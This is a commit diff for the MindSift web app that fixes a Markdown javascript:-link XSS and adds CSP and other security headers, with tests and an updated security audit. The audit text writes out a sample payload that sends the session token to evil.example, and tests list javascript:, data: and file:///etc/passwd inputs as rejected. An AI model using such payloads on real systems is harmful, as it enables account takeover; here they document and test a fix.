fix(security): safe links and security headers (FLAW-28, FLAW-29)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s
safeHref lets only http, https and mailto become links (Markdown viewer, outliner, legal links); javascript: and friends show as text. A middleware sets a Content-Security-Policy (scripts only from MindSift, no framing, connections only to this server), X-Frame-Options, nosniff, Referrer-Policy and a Permissions-Policy. The two inline scripts of index.html moved to files so script-src stays 'self'. The second inline script also deleted every cache on each page load, which undermined the offline start; it is gone. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
1 parent
3ca4ff7bce
commit
b2ecda9896
13 files changed
+175
-28
No files matched your search
@@ -6,6 +6,13 @@ Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die V
|
|||||||
|
|
||||||
## [Unreleased]
|
## [Unreleased]
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
|
||||||
|
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
||||||
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
||||||
|
|||||||
+4
-2
@@ -10,8 +10,8 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
|||||||
|
|
||||||
| ID | Bereich | Kurzbeschreibung | Schwere |
|
| ID | Bereich | Kurzbeschreibung | Schwere |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
|
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
|
||||||
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
|
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
|
||||||
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
|
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
|
||||||
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
|
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
|
||||||
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
|
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
|
||||||
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
|||||||
## Details
|
## Details
|
||||||
|
|
||||||
### FLAW-28: `javascript:`-Links in Markdown
|
### FLAW-28: `javascript:`-Links in Markdown
|
||||||
|
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
|
||||||
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
||||||
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
||||||
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
||||||
|
|
||||||
### FLAW-29: Keine Sicherheits-Header
|
### FLAW-29: Keine Sicherheits-Header
|
||||||
|
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
|
||||||
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
||||||
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
||||||
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
||||||
|
|||||||
+1
-18
@@ -40,14 +40,7 @@
|
|||||||
|
|
||||||
<link rel="manifest" href="/manifest.json" />
|
<link rel="manifest" href="/manifest.json" />
|
||||||
<title>MindSift</title>
|
<title>MindSift</title>
|
||||||
<script>
|
<script src="/pwa-install.js"></script>
|
||||||
window.__deferredPwaPrompt = null;
|
|
||||||
window.addEventListener('beforeinstallprompt', function (e) {
|
|
||||||
e.preventDefault();
|
|
||||||
window.__deferredPwaPrompt = e;
|
|
||||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
||||||
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
|
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
|
||||||
@@ -58,15 +51,5 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script type="module" src="/src/main.tsx"></script>
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
<script>
|
|
||||||
if ('caches' in window) {
|
|
||||||
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
|
|
||||||
}
|
|
||||||
if ('serviceWorker' in navigator) {
|
|
||||||
window.addEventListener('load', () => {
|
|
||||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
|
||||||
|
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||||
|
window.__deferredPwaPrompt = null;
|
||||||
|
window.addEventListener('beforeinstallprompt', function (e) {
|
||||||
|
e.preventDefault();
|
||||||
|
window.__deferredPwaPrompt = e;
|
||||||
|
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||||
|
});
|
||||||
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
|
|||||||
import { api } from '../lib/api';
|
import { api } from '../lib/api';
|
||||||
import { MarkdownViewer } from '../lib/markdown';
|
import { MarkdownViewer } from '../lib/markdown';
|
||||||
import { ReadingModal } from './ReadingModal';
|
import { ReadingModal } from './ReadingModal';
|
||||||
|
import { safeHref } from '../lib/safeUrl';
|
||||||
|
|
||||||
type LegalType = 'imprint' | 'privacy';
|
type LegalType = 'imprint' | 'privacy';
|
||||||
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
||||||
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
|
|||||||
return (
|
return (
|
||||||
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
||||||
{entries.map((e) =>
|
{entries.map((e) =>
|
||||||
e.url ? (
|
e.url && safeHref(e.url) ? (
|
||||||
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||||
{TITLES[e.type]}
|
{TITLES[e.type]}
|
||||||
</a>
|
</a>
|
||||||
) : (
|
) : (
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types';
|
|||||||
import { LinkModal } from './LinkModal';
|
import { LinkModal } from './LinkModal';
|
||||||
import { renderInlineMarkdown } from '../../lib/markdown';
|
import { renderInlineMarkdown } from '../../lib/markdown';
|
||||||
import { api } from '../../lib/api';
|
import { api } from '../../lib/api';
|
||||||
|
import { safeHref } from '../../lib/safeUrl';
|
||||||
|
|
||||||
export interface SlashCommand {
|
export interface SlashCommand {
|
||||||
type: BlockType | 'link';
|
type: BlockType | 'link';
|
||||||
@@ -1001,9 +1002,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
||||||
if (mdMatch) {
|
if (mdMatch && safeHref(mdMatch[2])) {
|
||||||
const label = mdMatch[1];
|
const label = mdMatch[1];
|
||||||
const url = mdMatch[2];
|
const url = safeHref(mdMatch[2]) as string;
|
||||||
return (
|
return (
|
||||||
<a
|
<a
|
||||||
key={idx}
|
key={idx}
|
||||||
@@ -1018,11 +1019,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
</a>
|
</a>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (/^https?:\/\//.test(part)) {
|
if (/^https?:\/\//.test(part) && safeHref(part)) {
|
||||||
return (
|
return (
|
||||||
<a
|
<a
|
||||||
key={idx}
|
key={idx}
|
||||||
href={part}
|
href={safeHref(part) as string}
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { safeHref } from '../safeUrl';
|
||||||
|
|
||||||
|
describe('safeHref', () => {
|
||||||
|
it('keeps web and mail links', () => {
|
||||||
|
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
|
||||||
|
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
|
||||||
|
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('drops everything that could run code or load local data', () => {
|
||||||
|
for (const bad of [
|
||||||
|
'javascript:alert(1)',
|
||||||
|
'JaVaScRiPt:alert(1)',
|
||||||
|
' javascript:alert(1)',
|
||||||
|
'java\tscript:alert(1)',
|
||||||
|
'java\nscript:alert(1)',
|
||||||
|
'data:text/html,<script>alert(1)</script>',
|
||||||
|
'vbscript:msgbox(1)',
|
||||||
|
'file:///etc/passwd',
|
||||||
|
'/relative/path',
|
||||||
|
'',
|
||||||
|
]) {
|
||||||
|
expect(safeHref(bad)).toBeNull();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Markdown links in task notes', () => {
|
||||||
|
it('render javascript: links as text, web links as links', async () => {
|
||||||
|
const { render } = await import('@testing-library/react');
|
||||||
|
const { MarkdownViewer } = await import('../markdown');
|
||||||
|
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
|
||||||
|
const links = Array.from(container.querySelectorAll('a'));
|
||||||
|
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
|
||||||
|
expect(container.textContent).toContain('Rechnung');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
import React from 'react';
|
import React from 'react';
|
||||||
|
import { safeHref } from './safeUrl';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Parses inline markdown:
|
* Parses inline markdown:
|
||||||
@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
|
|||||||
{token.slice(2, -2)}
|
{token.slice(2, -2)}
|
||||||
</del>
|
</del>
|
||||||
);
|
);
|
||||||
} else if (token.startsWith('[') && match[2] && match[3]) {
|
} else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
|
||||||
const label = match[2];
|
const label = match[2];
|
||||||
const url = match[3];
|
const url = safeHref(match[3]) as string;
|
||||||
elements.push(
|
elements.push(
|
||||||
<a
|
<a
|
||||||
key={key}
|
key={key}
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
|
||||||
|
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
|
||||||
|
// context when clicked, so it is shown as plain text instead (FLAW-28).
|
||||||
|
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
|
||||||
|
|
||||||
|
export function safeHref(raw: string): string | null {
|
||||||
|
const value = raw.trim();
|
||||||
|
if (!value) return null;
|
||||||
|
try {
|
||||||
|
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
|
||||||
|
const url = new URL(value);
|
||||||
|
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
|
||||||
|
} catch {
|
||||||
|
return null; // relative or broken: not a link
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
|
|||||||
</React.StrictMode>
|
</React.StrictMode>
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|
||||||
|
// Service worker for the app shell (offline start, see public/sw.js)
|
||||||
|
if ('serviceWorker' in navigator) {
|
||||||
|
window.addEventListener('load', () => {
|
||||||
|
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// securityHeaders protects the browser side (FLAW-29):
|
||||||
|
// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code;
|
||||||
|
// styles may be inline (custom themes, style attributes); images also from https (avatar URLs);
|
||||||
|
// connections only to this server, including its WebSocket.
|
||||||
|
// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking).
|
||||||
|
// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone
|
||||||
|
// (speech input) for MindSift itself.
|
||||||
|
func (s *Server) securityHeaders(next http.Handler) http.Handler {
|
||||||
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
h := w.Header()
|
||||||
|
h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host))
|
||||||
|
h.Set("X-Frame-Options", "DENY")
|
||||||
|
h.Set("X-Content-Type-Options", "nosniff")
|
||||||
|
h.Set("Referrer-Policy", "same-origin")
|
||||||
|
h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()")
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func contentSecurityPolicy(host string) string {
|
||||||
|
connect := "'self'"
|
||||||
|
// Older Safari versions do not count ws:/wss: as 'self'
|
||||||
|
if host != "" && !strings.ContainsAny(host, " ;'\"") {
|
||||||
|
connect += " wss://" + host + " ws://" + host
|
||||||
|
}
|
||||||
|
return strings.Join([]string{
|
||||||
|
"default-src 'self'",
|
||||||
|
"script-src 'self'",
|
||||||
|
"style-src 'self' 'unsafe-inline'",
|
||||||
|
"img-src 'self' data: blob: https:",
|
||||||
|
"font-src 'self' data:",
|
||||||
|
"connect-src " + connect,
|
||||||
|
"worker-src 'self'",
|
||||||
|
"manifest-src 'self'",
|
||||||
|
"media-src 'self' blob:",
|
||||||
|
"object-src 'none'",
|
||||||
|
"base-uri 'self'",
|
||||||
|
"form-action 'self'",
|
||||||
|
"frame-ancestors 'none'",
|
||||||
|
}, "; ")
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSecurityHeaders(t *testing.T) {
|
||||||
|
srv, _, _ := setupTestServer(t)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
||||||
|
req.Host = "notes.example.com"
|
||||||
|
srv.Router().ServeHTTP(rec, req)
|
||||||
|
csp := rec.Header().Get("Content-Security-Policy")
|
||||||
|
for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} {
|
||||||
|
if !strings.Contains(csp, want) {
|
||||||
|
t.Errorf("CSP lacks %q: %s", want, csp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") {
|
||||||
|
t.Errorf("scripts must not allow inline or eval: %s", csp)
|
||||||
|
}
|
||||||
|
for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} {
|
||||||
|
if rec.Header().Get(k) != v {
|
||||||
|
t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// A Host header with quotes or semicolons must not be able to extend the policy
|
||||||
|
if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") {
|
||||||
|
t.Errorf("host must not be copied into the policy unchecked: %s", p)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -83,6 +83,7 @@ func (s *Server) Router() http.Handler {
|
|||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
|
|
||||||
r.Use(s.clientIPMiddleware)
|
r.Use(s.clientIPMiddleware)
|
||||||
|
r.Use(s.securityHeaders)
|
||||||
r.Use(s.demoResetGate)
|
r.Use(s.demoResetGate)
|
||||||
r.Use(middleware.Recoverer)
|
r.Use(middleware.Recoverer)
|
||||||
r.Use(s.apiLoggingMiddleware)
|
r.Use(s.apiLoggingMiddleware)
|
||||||
|
|||||||
Reference in new issue
Block a user